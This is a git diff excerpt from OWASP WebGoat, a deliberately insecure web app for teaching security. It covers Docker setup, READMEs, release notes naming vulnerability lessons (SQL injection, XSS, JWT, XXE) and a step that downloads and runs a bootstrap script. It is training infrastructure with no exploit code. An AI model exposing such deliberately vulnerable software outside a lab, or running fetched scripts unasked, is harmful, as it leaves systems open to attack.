CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

47
Dockerfile_desktop Normal file
View File

@@ -0,0 +1,47 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
WORKDIR /config
COPY target/webgoat-*.jar /config/webgoat.jar
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo ${ARCH}
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
tar zfxv ZAP_2.15.0_Linux.tar.gz && \
rm -rf ZAP_2.15.0_Linux.tar.gz
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/config/java-jdk
WORKDIR /config/Desktop

7
FAQ.md Normal file
View File

@@ -0,0 +1,7 @@
# FAQ for development
## Introduction
### Integration tests fail
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

22
LICENSE.txt Normal file
View File

@@ -0,0 +1,22 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along with this program; if
not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
02111-1307, USA.
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

1
PULL_REQUEST_TEMPLATE.md Normal file
View File

@@ -0,0 +1 @@
Thank you for submitting a pull request to the WebGoat!

212
README.MD
View File

@@ -1,212 +0,0 @@
# WebGoat: A deliberately insecure Web Application
[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=master&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
[![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
[![OWASP Labs](https://img.shields.io/badge/owasp-labs-orange.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
# Important Information
### The WebGoat Lesson Server, is currently **UNDER MAJOR DEVELOMENT**.
As of February 1st 2016, the version "7.0.1" is considered the first **STABLE** version of a major architecture and UI changes.
#### Older/Legacy version of WebGoat an be found at: [WebGoat-Legacy](https://github.com/WebGoat/WebGoat-Legacy)
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
* [Home Page](http://webgoat.github.io)
* [OWASP Project Home Page](http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project)
* [Source Code](https://github.com/WebGoat/WebGoat)
* [Easy-Run Download](https://s3.amazonaws.com/webgoat-war/webgoat-container-7.0.1-war-exec.jar)
* [Wiki](https://github.com/WebGoat/WebGoat/wiki)
* [FAQ (old info):](http://code.google.com/p/webgoat/wiki/FAQ)
* [Project Leader - Direct to Bruce Mayhew](mailto:webgoat@owasp.org)
* [Mailing List - WebGoat Community - For most questions](mailto:owasp-webgoat@lists.owasp.org)
* [Artifacts generated from Continuous Integration](http://webgoat-war.s3-website-us-east-1.amazonaws.com/)
* [Output from our Travis.CI Build server](https://travis-ci.org/WebGoat/WebGoat)
**WARNING 1:** *While running this program your machine will be extremely
vulnerable to attack. You should to disconnect from the Internet while using
this program.* WebGoat's default configuration binds to localhost to minimize
the exposure.
**WARNING 2:** *This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
# Easy Run ( For non-developers )
Every successful build of the WebGoat Lessons Container and the WebGoat Lessons in our Continuous Integration Server
creates an "Easy Run" Executable JAR file, which contains the WebGoat Lessons Server, the lessons and a embedded Tomcat server.
You can check for the "Last Modified" date of our "Easy Run" jar file [HERE](http://webgoat-war.s3-website-us-east-1.amazonaws.com/)
The "Easy Run" JAR file offers a no hassle approach to testing and running WebGoat. Follow these instructions if you
wish to simply try/test/run the current development version of WebGoat
### Prerequisites:
* Java VM 1.8
## Standalone
#### 1. Download the easy run executable jar file which contains all the lessons and a embedded Tomcat server:
https://s3.amazonaws.com/webgoat-war/webgoat-standalone-7.1-SNAPSHOT-exec.jar
#### 2. Run it using java:
Open a command shell/window, browse to where you downloaded the easy run jar and type:
```Shell
java -jar webgoat-standalone-7.0.1-exec.jar [-p | --p <port>] [-a | --address <address>]
```
Using the `--help` option will show the allowed command line arguments.
#### 3. Browse to the url shown in the console and happy hacking !
## Vagrant
To run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
```shell
$ cd WebGoat/webgoat-images/vagrant-users
$ vagrant up
```
Once you see the message 'Browse to http://localhost:9999/WebGoat and happy hacking! you can open a
browser.
# For Developers
## Vagrant
For an easy development experience you can use Vagrant. Note you should have Vagrant and Virtualbox installed on your system.
```shell
$ cd WebGoat/webgoat-images/vagrant-developers
$ vagrant up
```
Once the provisioning is complete login to the Virtualbox with username vagrant and password vagrant.
The source code will be available in the home directory.
## Set up manual
Follow these instructions if you wish to run Webgoat and modify the source code as well.
### Prerequisites:
* Java 1.8
* Maven > 2.0.9
* Your favorite IDE, with Maven awareness: Netbeans/IntelliJ/Eclipse with m2e installed.
* Git, or Git support in your IDE
## The Easy Way: Developer Edition run using Linux or Mac
The __webgoat_developer_bootstrap.sh__ script will clone the necessary repositories, call the maven goals in order
launch Tomcat listening on localhost:8080
```Shell
mkdir WebGoat-Workspace
cd WebGoat-Workspace
curl -o webgoat_developer_bootstrap.sh https://raw.githubusercontent.com/WebGoat/WebGoat/master/webgoat_developer_bootstrap.sh
./webgoat_developer_bootstrap.sh
```
## The Manual Way: Developer Edition!
#### Cloning the Lesson Server and the Lessons project:
Open a command shell/window, navigate to where you wish to download the source and type:
```Shell
git clone https://github.com/WebGoat/WebGoat.git
git clone https://github.com/WebGoat/WebGoat-Lessons.git
```
#### Now let's start by compiling the WebGoat Lessons server.
```Shell
cd WebGoat
git checkout develop
mvn clean compile install
cd ..
```
#### Before you can run the project, we need to compile the lessons and copy them over:
**If you don't run this step, you will not have any Lessons to work with!**
```Shell
cd WebGoat-Lessons
git checkout develop
mvn package
(linux) cp target/plugins/*.jar ../WebGoat/webgoat-container/src/main/webapp/plugin_lessons/
(windows) xcopy "target\plugins\*.jar" "..\WebGoat\webgoat-container\src\main\webapp\plugin_lessons\"
cd ..
```
#### Now we are ready to run the project. There are 3 options you can choose from to run the project:
Then you can run the project with one of the steps below (From the WebGoat folder not WebGoat-Lessons):
#### Option #1: Using the Maven-Tomcat Plugin
The __maven tomcat7:run-war__ goal runs the project in an embedded tomcat:
```Shell
cd WebGoat
mvn -pl webgoat-container tomcat7:run-war
```
Browse to [http://localhost:8080/WebGoat](http://localhost:8080/WebGoat) and happy hacking !
#### Option #2: Java executable JAR
The __maven package__ goal generates an executable .jar file:
```Shell
cd WebGoat
mvn package
cd webgoat-standalone/target
java -jar webgoat-standalone-7.1-SNAPSHOT-exec.jar [-p | --p <port>] [-a | --address <address>]
```
Browse to url shown in the console and happy hacking !
#### Option #3: Deploy the WebGoat WAR file in your local Tomcat or other Application Server:
The __maven package__ goal generates a .war file that can deployed into an Application Server, such as Tomcat
```Shell
cd WebGoat
mvn package
cp webgoat-container/target/webgoat-container-7.1-SNAPSHOT.war <your_tomcat_directory>/webapps/
```
Browse to [http://localhost:8080/WebGoat](http://localhost:8080/WebGoat) and happy hacking !
# Debugging and Troubleshooting
## Reloading plugins and lessons
If you want to __reload all the plugin and lessons__, open a new browser tab and visit the following url:
[http://localhost:8080/WebGoat/service/reloadplugins.mvc](http://localhost:8080/WebGoat/service/reloadplugins.mvc)
After the plugin reload is complete, _reloading a message_ will appear and you can refresh the __main WebGoat browser tab__.
## Debugging label properties
To be able to see which labels are loaded through a property file, open a new browser tab and visit the following url:
[http://localhost:8080/WebGoat/service/debug/labels.mvc](http://localhost:8080/WebGoat/service/debug/labels.mvc)
Switch back to the main WebGoat broswer tab and __reload the main WebGoat browser tab__.
After the reload is complete, all labels which where loaded from a property file will be __marked green__.

165
README.md Normal file
View File

@@ -0,0 +1,165 @@
# WebGoat: A deliberately insecure Web Application
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
# Introduction
WebGoat is a deliberately insecure web application maintained by [OWASP](http://www.owasp.org/) designed to teach web
application security lessons.
This program is a demonstration of common server-side application flaws. The
exercises are intended to be used by people to learn about application security and
penetration testing techniques.
**WARNING 1:** *While running this program your machine will be extremely
vulnerable to attack. You should disconnect from the Internet while using
this program.* WebGoat's default configuration binds to localhost to minimize
the exposure.
**WARNING 2:** *This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
![WebGoat](docs/images/webgoat.png)
# Installation instructions:
For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
E.g.
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
```
If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
you can use custom host entries. For example:
```shell
127.0.0.1 www.webgoat.local www.webwolf.local
```
Then you can run the container with:
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
```
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
## 2. Run using Docker with complete Linux Desktop
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
```shell
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```
## 3. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
```
Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources
### Prerequisites:
* Java 23
* Your favorite IDE
* Git, or Git support in your IDE
Open a command shell/window:
```Shell
git clone git@github.com:WebGoat/WebGoat.git
```
Now let's start by compiling the project.
```Shell
cd WebGoat
git checkout <<branch_name>>
# On Linux/Mac:
./mvnw clean install
# On Windows:
./mvnw.cmd clean install
# Using docker or podman, you can than build the container locally
docker build -f Dockerfile . -t webgoat/webgoat
```
Now we are ready to run the project. WebGoat is using Spring Boot.
```Shell
# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run
```
... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
```
server.address=x.x.x.x
```
## 4. Run with custom menu
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar target/webgoat-2023.8-SNAPSHOT.jar
```
Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
```

34
README_I18N.md Normal file
View File

@@ -0,0 +1,34 @@
# Multi language support in WebGoat
WebGoat is mainly written in English, but it does support multiple languages.
## Default language selection
1. Current supported languages are: en, fr, de, nl
2. The primary language is based on the language setting of the browser.
3. If the language is not in the list of supported language, the language is English
4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
1. After switching a language you are back at the Introduction page
## Adding a new language
The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2.
2. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources
3. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
4. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values
5. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to
6. Run mvn clean to see if the LabelAndHintIntegration test passes
7. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8

308
RELEASE_NOTES.md Normal file
View File

@@ -0,0 +1,308 @@
# WebGoat release notes
## Version 2025.3
### 🐞 Bug fixes
- Changed URLs imply other exclusion filters for ZAP (#2052)
- XSS lesson stage 12 (2 issues) (#1178)
### 🔄 Technical tasks
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
## Version 2025.2
### 🐞 Bug fixes
- Fix SQL advanced lesson assignment 5 (#2047)
## Version 2025.1
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Contributors
Special thanks to the following contributors providing us with a pull request:
- François Capon
- GoogTech HackHuang
- Peter Potrowl
- cap-dev0x
- Benjamin Mouncer
- Jeong Rok Suh
- Rui Melo
- Vandeputte Brice
## Version 2023.8
### 🚀 New functionality
- Consistent environment values and url references (#1677)
- Show directly requested file in requests overview
- Show creating time in file upload overview
### 🐞 Bug fixes
- Fix startup message (#1687)
- Fix/state of software supply chain links (#1683)
- Fix WebWolf UI (#1686)
### 🔄 Technical tasks
- bump actions/setup-java from 3 to 4 (#1690)
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
## Version 2023.5
### New functionality
- Implement JWT jku example (#1552)
- Java 21 initial support (#1622)
- improve MFAC lesson hint texts for a better user experience (#1424)
- upgrade to Spring Boot version 3 (#1477)
### Bug fixes
- typo in WebGoad.txt (#1667)
- search box moved and jwt encode/decode with little delay (#1664)
- skip validation for JWT (#1663)
- fixed issue in JWT test tool and added robot test (#1658)
- Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
- fix servers id (#1619)
- potential NPE in the stored XSS assignment
- crypto basics broken links
- fixes the default change in trailing slash matching and address the affected assignments
- hint that was breaking the template, causing hints from different assignments to mix (#1424)
- HijackSession lesson template deprecated Tymeleaf attribute
- Fix NPE in IDOR lesson
- Add new assignment IT tests
- XSS mitigation
- Stored Cross-Site Scripting Lesson
- Add Assignment7 Tests
- Fix IDOR lesson
- remove steps from release script (#1509)
- robotframework fails due to updated dependencies (#1508)
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
FlagController
## Version 2023.4
### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
can make
many more releases this year.
### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now
`Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
## Version 8.2.2
### New functionality
- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
### Bug fixes
- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
## Version 8.2.1
### New functionality
- New Docker image for arm64 architecture is now available (for Apple M1)
## Version 8.2.0
### New functionality
- Add new zip slip lesson (part of path traversal)
- SQL lessons are now separate for each user, database are now per user and no longer shared across users
- Moved to Java 15 & Spring Boot 2.4 & moved to JUnit 5
### Bug fixes
- [#974 SQL injection Intro 5 not solvable](https://github.com/WebGoat/WebGoat/issues/974)
- [#962 SQL-Lesson 5 (Advanced) Solvable with wrong anwser](https://github.com/WebGoat/WebGoat/issues/962)
- [#961 SQl-Injection lesson 4 not deleting created row](https://github.com/WebGoat/WebGoat/issues/961)
- [#949 Challenge: Admin password reset always solvable](https://github.com/WebGoat/WebGoat/issues/949)
- [#923 - Upgrade to Java 15](https://github.com/WebGoat/WebGoat/issues/923)
- [#922 - Vulnerable components lesson](https://github.com/WebGoat/WebGoat/issues/922)
- [#891 - Update the OWASP website with the new all-in-one Docker container](https://github.com/WebGoat/WebGoat/issues/891)
- [#844 - Suggestion: Update navigation](https://github.com/WebGoat/WebGoat/issues/844)
- [#843 - Bypass front-end restrictions: Field restrictions - confusing text in form](https://github.com/WebGoat/WebGoat/issues/843)
- [#841 - XSS - Reflected XSS confusing instruction and success messages](https://github.com/WebGoat/WebGoat/issues/841)
- [#839 - SQL Injection (mitigation) Order by clause confusing](https://github.com/WebGoat/WebGoat/issues/839)
- [#838 - SQL mitigation (filtering) can only be passed by updating table](https://github.com/WebGoat/WebGoat/issues/838)
## Contributors
Special thanks to the following contributors providing us with a pull request:
- nicholas-quirk
- VijoPlays
- aolle
- trollingHeifer
- maximmasiutin
- toshihue
- avivmu
- KellyMarchewa
- NatasG
- gabe-sky
## Version 8.1.0
### New functionality
- Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
## Contributors
Special thanks to the following contributors providing us with a pull request:
- Satoshi SAKAO
- Philippe Lafoucrière
- Cotonne
- Tiago Mussi
- thegoodcrumpets
- Atharva Vaidya
- torleif
- August Detlefsen
- Choe Hyeong Jin
And everyone who provided feedback through Github.
Team WebGoat

View File

@@ -1,3 +0,0 @@
grant {
permission java.security.AllPermission;
};

259
config/checkstyle/checkstyle.xml Executable file
View File

@@ -0,0 +1,259 @@
<?xml version="1.0"?>
<!DOCTYPE module PUBLIC
"-//Puppy Crawl//DTD Check Configuration 1.3//EN"
"http://checkstyle.sourceforge.net/dtds/configuration_1_3.dtd">
<!--
Checkstyle configuration that checks the Google coding conventions from Google Java Style
that can be found at https://google.github.io/styleguide/javaguide.html.
Checkstyle is very configurable. Be sure to read the documentation at
http://checkstyle.sf.net (or in your downloaded distribution).
To completely disable a check, just comment it out or delete it from the file.
Authors: Max Vetrenko, Ruslan Diachenko, Roman Ivanov.
-->
<module name="Checker">
<property name="charset" value="UTF-8"/>
<property name="severity" value="error"/>
<property name="fileExtensions" value="java, properties, xml"/>
<!-- Checks for whitespace -->
<!-- See http://checkstyle.sf.net/config_whitespace.html -->
<module name="SuppressionFilter">
<property name="file" value="${suppressionsLocation}" default="target/checkstyle-suppressions.xml"/>
</module>
<module name="TreeWalker">
<module name="com.puppycrawl.tools.checkstyle.checks.regexp.RegexpSinglelineJavaCheck">
<property name="maximum" value="0"/>
<property name="format" value="org\.junit\.Assert\.assert"/>
<property name="message"
value="Please use AssertJ imports."/>
<property name="ignoreComments" value="true"/>
</module>
<module
name="com.puppycrawl.tools.checkstyle.checks.imports.IllegalImportCheck">
<property name="regexp" value="true"/>
<property name="illegalPkgs"
value="^sun.*, ^org\.apache\.commons\.(?!compress|dbcp2|lang|lang3|logging|io|pool2).*, ^org\.flywaydb\.core\.internal.*, ^org\.testcontainers\.shaded.*"/>
<property name="illegalClasses"
value="^com\.hazelcast\.util\.Base64, ^org\.junit\.rules\.ExpectedException, ^org\.slf4j\.LoggerFactory, ^reactor\.core\.support\.Assert, ^com\.google\.common\.collect\.Maps, ^com\.google\.common\.collect\.Sets, ^com\.google\.common\.collect\.Lists"/>
</module>
<module
